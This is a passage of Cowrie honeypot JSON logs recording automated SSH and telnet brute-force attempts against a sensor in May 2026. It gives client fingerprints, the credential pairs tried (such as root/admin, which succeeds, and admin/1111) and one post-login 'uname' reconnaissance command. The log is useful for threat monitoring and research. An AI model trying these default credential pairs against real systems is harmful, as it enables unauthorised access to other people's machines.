{"eventid":"cowrie.session.closed","duration":36.203619718551636,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:17:37.780203Z","src_ip":"50.6.8.71","session":"6093097f9560","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:17:37.940301Z","src_ip":"192.109.200.237","session":"0fd9933c5cbf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":35092,"dst_ip":"159.203.135.109","dst_port":22,"session":"8f103556ce59","protocol":"ssh","message":"New connection: 192.109.200.237:35092 (159.203.135.109:22) [session: 8f103556ce59]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:17:39.897084Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:17:39.902199Z","src_ip":"192.109.200.237","session":"8f103556ce59","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:17:39.984890Z","src_ip":"192.109.200.237","session":"8f103556ce59","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"admin","message":"login attempt [root/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:17:40.233840Z","src_ip":"192.109.200.237","session":"8f103556ce59","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:17:40.451665Z","src_ip":"192.109.200.237","session":"8f103556ce59","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:17:40.455027Z","src_ip":"192.109.200.237","session":"8f103556ce59","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:17:40.540617Z","src_ip":"192.109.200.237","session":"8f103556ce59","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.6","message":"Connection lost after 0.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:17:40.545189Z","src_ip":"192.109.200.237","session":"8f103556ce59","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":49724,"dst_ip":"10.17.0.5","dst_port":23,"session":"2df5f8fe3cd2","protocol":"telnet","message":"New connection: 50.6.8.71:49724 (10.17.0.5:23) [session: 2df5f8fe3cd2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:17:41.823797Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":34812,"dst_ip":"159.203.135.109","dst_port":22,"session":"f2badc570232","protocol":"ssh","message":"New connection: 192.109.200.237:34812 (159.203.135.109:22) [session: f2badc570232]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:17:43.324933Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:17:43.329823Z","src_ip":"192.109.200.237","session":"f2badc570232","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:17:43.411741Z","src_ip":"192.109.200.237","session":"f2badc570232","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ams","password":"ams","message":"login attempt [ams/ams] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:17:43.833531Z","src_ip":"192.109.200.237","session":"f2badc570232","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:17:44.917948Z","src_ip":"192.109.200.237","session":"f2badc570232","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":34830,"dst_ip":"159.203.135.109","dst_port":22,"session":"cebfca1716f8","protocol":"ssh","message":"New connection: 192.109.200.237:34830 (159.203.135.109:22) [session: cebfca1716f8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:17:47.051999Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:17:47.056334Z","src_ip":"192.109.200.237","session":"cebfca1716f8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:17:47.138421Z","src_ip":"192.109.200.237","session":"cebfca1716f8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"coder","password":"123456","message":"login attempt [coder/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:17:47.385054Z","src_ip":"192.109.200.237","session":"cebfca1716f8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":42060,"dst_ip":"10.17.0.5","dst_port":23,"session":"93e563c6214b","protocol":"telnet","message":"New connection: 50.6.8.71:42060 (10.17.0.5:23) [session: 93e563c6214b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:17:48.103729Z"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:17:48.469444Z","src_ip":"192.109.200.237","session":"cebfca1716f8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":42062,"dst_ip":"10.17.0.5","dst_port":23,"session":"5a0c42ba3bd1","protocol":"telnet","message":"New connection: 50.6.8.71:42062 (10.17.0.5:23) [session: 5a0c42ba3bd1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:17:49.756404Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":40134,"dst_ip":"159.203.135.109","dst_port":22,"session":"fca7e801ab2c","protocol":"ssh","message":"New connection: 192.109.200.237:40134 (159.203.135.109:22) [session: fca7e801ab2c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:17:50.392906Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:17:50.398104Z","src_ip":"192.109.200.237","session":"fca7e801ab2c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:17:50.482237Z","src_ip":"192.109.200.237","session":"fca7e801ab2c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"elk","password":"elk@123","message":"login attempt [elk/elk@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:17:50.731252Z","src_ip":"192.109.200.237","session":"fca7e801ab2c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:17:51.816453Z","src_ip":"192.109.200.237","session":"fca7e801ab2c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":40148,"dst_ip":"159.203.135.109","dst_port":22,"session":"f2eb87c2ed66","protocol":"ssh","message":"New connection: 192.109.200.237:40148 (159.203.135.109:22) [session: f2eb87c2ed66]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:17:53.785021Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:17:53.834228Z","src_ip":"192.109.200.237","session":"f2eb87c2ed66","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:17:54.015664Z","src_ip":"192.109.200.237","session":"f2eb87c2ed66","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"111111","message":"login attempt [user/111111] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:17:54.278649Z","src_ip":"192.109.200.237","session":"f2eb87c2ed66","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:17:55.364377Z","src_ip":"192.109.200.237","session":"f2eb87c2ed66","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":43996,"dst_ip":"10.17.0.5","dst_port":23,"session":"d0ee1840b219","protocol":"telnet","message":"New connection: 50.6.8.71:43996 (10.17.0.5:23) [session: d0ee1840b219]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:17:57.376844Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":40168,"dst_ip":"159.203.135.109","dst_port":22,"session":"4c497306705b","protocol":"ssh","message":"New connection: 192.109.200.237:40168 (159.203.135.109:22) [session: 4c497306705b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:17:57.396527Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:17:57.405409Z","src_ip":"192.109.200.237","session":"4c497306705b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:17:57.487550Z","src_ip":"192.109.200.237","session":"4c497306705b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":44012,"dst_ip":"10.17.0.5","dst_port":23,"session":"54dc279b96e5","protocol":"telnet","message":"New connection: 50.6.8.71:44012 (10.17.0.5:23) [session: 54dc279b96e5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:17:57.582771Z"}
{"eventid":"cowrie.login.failed","username":"admin","password":"1111","message":"login attempt [admin/1111] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:17:57.733680Z","src_ip":"192.109.200.237","session":"4c497306705b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:17:58.819223Z","src_ip":"192.109.200.237","session":"4c497306705b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":58950,"dst_ip":"159.203.135.109","dst_port":22,"session":"389658c83ab4","protocol":"ssh","message":"New connection: 192.109.200.237:58950 (159.203.135.109:22) [session: 389658c83ab4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:18:00.790124Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:18:00.795789Z","src_ip":"192.109.200.237","session":"389658c83ab4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.36104965209961,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:18:00.840660Z","src_ip":"50.6.8.71","session":"6a02f102cf5f","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:18:00.881095Z","src_ip":"192.109.200.237","session":"389658c83ab4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Root@123","message":"login attempt [root/Root@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:18:01.139263Z","src_ip":"192.109.200.237","session":"389658c83ab4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:18:02.231043Z","src_ip":"192.109.200.237","session":"389658c83ab4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":58952,"dst_ip":"159.203.135.109","dst_port":22,"session":"b6580e5a9d8a","protocol":"ssh","message":"New connection: 192.109.200.237:58952 (159.203.135.109:22) [session: b6580e5a9d8a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:18:04.541462Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:18:04.552996Z","src_ip":"192.109.200.237","session":"b6580e5a9d8a","protocol":"ssh"}
